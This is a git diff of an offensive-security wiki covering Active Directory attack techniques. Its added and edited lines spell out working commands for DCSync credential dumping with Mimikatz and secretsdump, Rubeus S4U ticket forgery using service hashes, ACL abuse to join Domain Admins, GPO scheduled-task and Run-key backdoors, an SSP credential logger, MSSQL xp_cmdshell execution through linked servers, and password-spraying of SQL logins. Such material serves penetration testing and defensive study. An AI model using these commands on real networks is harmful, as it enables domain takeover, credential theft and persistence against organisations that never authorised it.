Relay -If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* to get access to the AD env. +If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env. ### Steal NTLM Creds @@ -215,7 +218,7 @@ It's very **unlikely** that you will find **tickets** in the current user **givi If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** -### **Looks for Creds in Computer Shares** +### Looks for Creds in Computer Shares | SMB Shares Now that you have some basic credentials you should check if you can **find** any **interesting files being shared inside the AD**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check). @@ -385,19 +388,19 @@ For example you could: - Make users vulnerable to [**Kerberoast**](kerberoast.md) - ```powershell + ```bash Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING"}r ``` - Make users vulnerable to [**ASREPRoast**](asreproast.md) - ```powershell + ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` - Grant [**DCSync**](#dcsync) privileges to a user - ```powershell + ```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync ``` @@ -561,9 +564,24 @@ Attackers with could access to resources in another domain through three primary - **Foreign Domain Group Membership**: Principals can also be members of groups within the foreign domain. However, the effectiveness of this method depends on the nature of the trust and the scope of the group. - **Access Control Lists (ACLs)**: Principals might be specified in an **ACL**, particularly as entities in **ACEs** within a **DACL**, providing them access to specific resources. For those looking to dive deeper into the mechanics of ACLs, DACLs, and ACEs, the whitepaper titled “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” is an invaluable resource. +### Find external users/groups with permissions + +You can check **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** to find foreign security principals in the domain. These will be user/group from **an external domain/forest**. + +You could check this in **Bloodhound** or using powerview: + +```powershell +# Get users that are i groups outside of the current domain +Get-DomainForeignUser + +# Get groups inside a domain with users our +Get-DomainForeignGroupMember +``` + ### Child-to-Parent forest privilege escalation -``` +```bash +# Fro powerview Get-DomainTrust SourceName : sub.domain.local --> current domain @@ -575,6 +593,20 @@ WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` +Other ways to enumerate domain trusts: + +```bash +# Get DCs +nltest /dsgetdc: + +# Get all domain trusts +nltest /domain_trusts /all_trusts /v + +# Get all trust of a domain +nltest /dclist:sub.domain.local +nltest /server:dc.sub.domain.local /domain_trusts /all_trusts +``` + > [!WARNING] > There are **2 trusted keys**, one for _Child --> Parent_ and another one for _Parent_ --> _Child_.\ > You can the one used by the current domain them with: @@ -622,7 +654,7 @@ More details on this can be read in [From DA to EA with ESC5](https://posts.spec ### External Forest Domain - One-Way (Inbound) or bidirectional -```powershell +```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain @@ -641,7 +673,7 @@ external-forest-domain-oneway-inbound.md ### External Forest Domain - One-Way (Outbound) -```powershell +```bash Get-DomainTrust -Domain current.local SourceName : current.local --> Current domain diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index f83e1ecb9..ad86b9779 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -96,13 +96,13 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case. -```powershell +```bash Import-Module .\PowerupSQL.psd1 ```` ### Enumerating from the network without domain session -```powershell +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -118,7 +118,7 @@ Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Ver ### Enumerating from inside the domain -```powershell +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -127,6 +127,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance) Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose +# Try dictionary attack to login +Invoke-SQLAuditWeakLoginPw + +# Search SPNs of common software and try the default creds +Get-SQLServerDefaultLoginPw + #Test connections with each one Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose @@ -141,11 +147,23 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } ### Access DB -```powershell +```bash +# List databases +Get-SQLInstanceDomain | Get-SQLDatabase + +# List tables in a DB you can read +Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName + +# List columns in a table +Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName + +# Get some sample data from a column in a table (columns username & passwor din the example) +Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10 + #Perform a SQL query Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername" -#Dump an instance (a lotof CVSs generated in current dir) +#Dump an instance (a lot of CVSs generated in current dir) Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql" # Search keywords in columns trying to access the MSSQL DBs @@ -157,7 +175,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } It might be also possible to **execute commands** inside the MSSQL host -```powershell +```bash Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` @@ -178,7 +196,7 @@ If a MSSQL instance is trusted (database link) by a different MSSQL instance. If ### Powershell Abuse -```powershell +```bash #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -210,6 +228,14 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' ``` +Another similar tool taht could be used is [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn): + +```bash +SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +# Cobalt Strike +inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +``` + ### Metasploit You can easily check for trusted links using metasploit. diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 0eb3cd7fc..45f27dbfe 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -11,7 +11,7 @@ This privilege grants an attacker full control over a target user account. Once - **Change the Target's Password**: Using `net user /domain`, the attacker can reset the user's password. - **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes. -```powershell +```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose @@ -19,7 +19,7 @@ Set-DomainObject -Credential $creds -Identity -Clear serviceprincipal - **Targeted ASREPRoasting**: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting. -```powershell +```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` @@ -29,7 +29,7 @@ This privilege allows an attacker to manipulate group memberships if they have ` - **Add Themselves to the Domain Admins Group**: This can be done via direct commands or using modules like Active Directory or PowerSploit. -```powershell +```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" @@ -48,7 +48,7 @@ If a user has `WriteProperty` rights on all objects for a specific group (e.g., - **Add Themselves to the Domain Admins Group**: Achievable via combining `net user` and `Add-NetGroupUser` commands, this method allows privilege escalation within the domain. -```powershell +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` @@ -56,7 +56,7 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai This privilege enables attackers to add themselves to specific groups, such as `Domain Admins`, through commands that manipulate group membership directly. Using the following command sequence allows for self-addition: -```powershell +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` @@ -64,7 +64,7 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai A similar privilege, this allows attackers to directly add themselves to groups by modifying group properties if they have the `WriteProperty` right on those groups. The confirmation and execution of this privilege are performed with: -```powershell +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` @@ -73,7 +73,7 @@ net group "domain admins" spotless /add /domain Holding the `ExtendedRight` on a user for `User-Force-Change-Password` allows password resets without knowing the current password. Verification of this right and its exploitation can be done through PowerShell or alternative command-line tools, offering several methods to reset a user's password, including interactive sessions and one-liners for non-interactive environments. The commands range from simple PowerShell invocations to using `rpcclient` on Linux, demonstrating the versatility of attack vectors. -```powershell +```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -88,7 +88,7 @@ rpcclient -U KnownUsername 10.10.10.192 If an attacker finds that they have `WriteOwner` rights over a group, they can change the ownership of the group to themselves. This is particularly impactful when the group in question is `Domain Admins`, as changing ownership allows for broader control over group attributes and membership. The process involves identifying the correct object via `Get-ObjectAcl` and then using `Set-DomainObjectOwner` to modify the owner, either by SID or name. -```powershell +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico @@ -98,7 +98,7 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico This permission allows an attacker to modify user properties. Specifically, with `GenericWrite` access, the attacker can change the logon script path of a user to execute a malicious script upon user logon. This is achieved by using the `Set-ADObject` command to update the `scriptpath` property of the target user to point to the attacker's script. -```powershell +```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` @@ -106,7 +106,7 @@ Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\ With this privilege, attackers can manipulate group membership, such as adding themselves or other users to specific groups. This process involves creating a credential object, using it to add or remove users from a group, and verifying the membership changes with PowerShell commands. -```powershell +```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose @@ -118,7 +118,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use Owning an AD object and having `WriteDACL` privileges on it enables an attacker to grant themselves `GenericAll` privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's `Set-Acl` / `Get-Acl` cmdlets. -```powershell +```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" @@ -150,7 +150,7 @@ To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. T Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges: -```powershell +```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` @@ -158,7 +158,7 @@ New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net l The GroupPolicy module, if installed, allows for the creation and linking of new GPOs, and setting preferences such as registry values to execute backdoors on affected computers. This method requires the GPO to be updated and a user to log in to the computer for execution: -```powershell +```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md index e78fd7a8c..982f17226 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md @@ -78,7 +78,7 @@ Certificates can be requested through: Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command). -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 18a6b64a1..4f0ae8598 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -78,7 +78,7 @@ Certificates can be requested through: Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command). -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 4a24e738e..d0cd4a55b 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -8,7 +8,7 @@ Before checking how to steal the certificates here you have some info about how to find what the certificate is useful for: -```powershell +```bash # Powershell $CertPath = "C:\path\to\cert.pfx" $CertPass = "P@ssw0rd" @@ -87,7 +87,7 @@ These files can be searched for using PowerShell or the command prompt by lookin In cases where a PKCS#12 certificate file is found and it is protected by a password, the extraction of a hash is possible through the use of `pfx2john.py`, available at [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Subsequently, JohnTheRipper can be employed to attempt to crack the password. -```powershell +```bash # Example command to search for certificate files in PowerShell Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys @@ -98,11 +98,11 @@ pfx2john.py certificate.pfx > hash.txt john --wordlist=passwords.txt hash.txt ``` -## NTLM Credential Theft via PKINIT – THEFT5 +## NTLM Credential Theft via PKINIT – THEFT5 (UnPAC the hash) The given content explains a method for NTLM credential theft via PKINIT, specifically through the theft method labeled as THEFT5. Here's a re-explanation in passive voice, with the content anonymized and summarized where applicable: -To support NTLM authentication [MS-NLMP] for applications that do not facilitate Kerberos authentication, the KDC is designed to return the user's NTLM one-way function (OWF) within the privilege attribute certificate (PAC), specifically in the `PAC_CREDENTIAL_INFO` buffer, when PKCA is utilized. Consequently, should an account authenticate and secure a Ticket-Granting Ticket (TGT) via PKINIT, a mechanism is inherently provided which enables the current host to extract the NTLM hash from the TGT to uphold legacy authentication protocols. This process entails the decryption of the `PAC_CREDENTIAL_DATA` structure, which is essentially an NDR serialized depiction of the NTLM plaintext. +To support NTLM authentication `MS-NLMP` for applications that do not facilitate Kerberos authentication, the KDC is designed to return the user's NTLM one-way function (OWF) within the privilege attribute certificate (PAC), specifically in the `PAC_CREDENTIAL_INFO` buffer, when PKCA is utilized. Consequently, should an account authenticate and secure a Ticket-Granting Ticket (TGT) via PKINIT, a mechanism is inherently provided which enables the current host to extract the NTLM hash from the TGT to uphold legacy authentication protocols. This process entails the decryption of the `PAC_CREDENTIAL_DATA` structure, which is essentially an NDR serialized depiction of the NTLM plaintext. The utility **Kekeo**, accessible at [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), is mentioned as capable of requesting a TGT containing this specific data, thereby facilitating the retrieval of the user's NTLM. The command utilized for this purpose is as follows: @@ -110,6 +110,8 @@ The utility **Kekeo**, accessible at [https://github.com/gentilkiwi/kekeo](https tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` +**`Rubeus`** can also get this information with the option **`asktgt [...] /getcredentials`**. + Additionally, it is noted that Kekeo can process smartcard-protected certificates, given the pin can be retrieved, with reference made to [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). The same capability is indicated to be supported by **Rubeus**, available at [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). This explanation encapsulates the process and tools involved in NTLM credential theft via PKINIT, focusing on the retrieval of NTLM hashes through TGT obtained using PKINIT, and the utilities that facilitate this process. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index c335d8b40..8a0896226 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -262,7 +262,7 @@ Possession of **`ManageCertificates`** rights facilitates the approval of pendin A combination of **Certify** and **PSPKI** modules can be utilized to request, approve, and download a certificate: -```powershell +```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded [...] @@ -403,7 +403,7 @@ certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
-```powershell +```bash Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ``` @@ -686,7 +686,7 @@ In other words, when a user has permission to enroll a certificate and the certi Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink: -```powershell +```bash Enumerating OIDs ------------------------ OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local diff --git a/src/windows-hardening/active-directory-methodology/constrained-delegation.md b/src/windows-hardening/active-directory-methodology/constrained-delegation.md index 4bc4b3f6e..ad97bbff4 100644 --- a/src/windows-hardening/active-directory-methodology/constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/constrained-delegation.md @@ -4,16 +4,16 @@ ## Constrained Delegation -Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against a **service** of a machine. +Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against any **service** of a machine. -- **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED_TO_AUTH_FOR_DELEGATION]() (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user. -- **Service for User to Proxy(**_**S4U2proxy**_**):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one. +- **Service for User to self (_S4U2self_):** If a **service account** has a _userAccountControl_ value containing [TrustedToAuthForDelegation]() (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user. +- **Service for User to Proxy(_S4U2proxy_):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one. **Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them. -This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** (possible **privesc**). +This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to any **service** over the indicated machines (possible **privesc**). -Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked, only privileges. Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus. +Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked (in the ticket this part is not encrypted/signed). Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus for example. Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**. @@ -26,6 +26,13 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json ``` +```bash:Quick Way +# Generate TGT + TGS impersonating a user knowing the hash +Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt +``` + +- Step 1: **Get TGT of the allowed service** + ```bash:Get TGT # The first step is to get a TGT of the service that can impersonate others ## If you are SYSTEM in the server, you might take it from memory @@ -37,11 +44,11 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" mimikatz sekurlsa::ekeys ## Request with aes -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap # Request with RC4 -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi ``` @@ -50,11 +57,13 @@ tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140 > > **Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.** +- Step2: **Get TGS for the service impersonating the user** + ```bash:Using Rubeus -#Obtain a TGS of the Administrator user to self +# Obtain a TGS of the Administrator user to self .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator -#Obtain service TGS impersonating Administrator (CIFS) +# Obtain service TGS impersonating Administrator (CIFS) .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS #Impersonate Administrator on different service (HOST) diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md index 1c333838c..92d6a660e 100644 --- a/src/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md @@ -22,7 +22,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Add `mimilib.dll` to the Security Support Provider list (Security Packages): -```powershell +```bash reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` @@ -32,7 +32,7 @@ And after a reboot all credentials can be found in clear text in `C:\Windows\Sys You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working): -```powershell +```bash privilege::debug misc::memssp ``` diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index 59f936117..02c665fed 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -16,19 +16,19 @@ The **DCSync** permission implies having these permissions over the domain itsel Check who has these permissions using `powerview`: -```powershell +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` ### Exploit Locally -```powershell +```bash Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` ### Exploit Remotely -```powershell +```bash secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user [-pwd-last-set] #To see when each account's password was last changed @@ -41,7 +41,7 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes - one with the the **Kerberos keys** - one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) enabled. You can get users with reversible encryption with - ```powershell + ```bash Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol ``` @@ -49,13 +49,13 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes If you are a domain admin, you can grant this permissions to any user with the help of `powerview`: -```powershell +```bash Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose ``` Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field): -```powershell +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"} ``` diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index f6d83fbd6..7b1a0faf4 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -8,7 +8,7 @@ In this scenario **your domain** is **trusting** some **privileges** to principa ### Outbound Trust -```powershell +```bash # Notice Outbound trust Get-DomainTrust SourceName : root.local @@ -36,7 +36,7 @@ A security vulnerability exists when a trust relationship is established between The critical aspect to understand here is that the password and hash of this special account can be extracted from a Domain Controller in domain **A** using a command line tool. The command to perform this action is: -```powershell +```bash Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index dbaace7e6..9e7d21dec 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -8,7 +8,7 @@ In this scenario an external domain is trusting you (or both are trusting each o First of all, you need to **enumerate** the **trust**: -```powershell +```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain @@ -66,7 +66,7 @@ If you **couldn't** find any **special** access of your user in the other domain You can use **Powerview functions** to **enumerate** the **other domain** using the `-Domain` param like in: -```powershell +```bash Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` @@ -80,7 +80,7 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName Using a regular method with the credentials of the users who is has access to the external domain you should be able to access: -```powershell +```bash Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` @@ -93,7 +93,7 @@ If a user is migrated **from one forest to another** and **SID Filtering is not > [!WARNING] > As a reminder, you can get the signing key with > -> ```powershell +> ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index 7884c7a16..6e3f22e1e 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -17,6 +17,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k 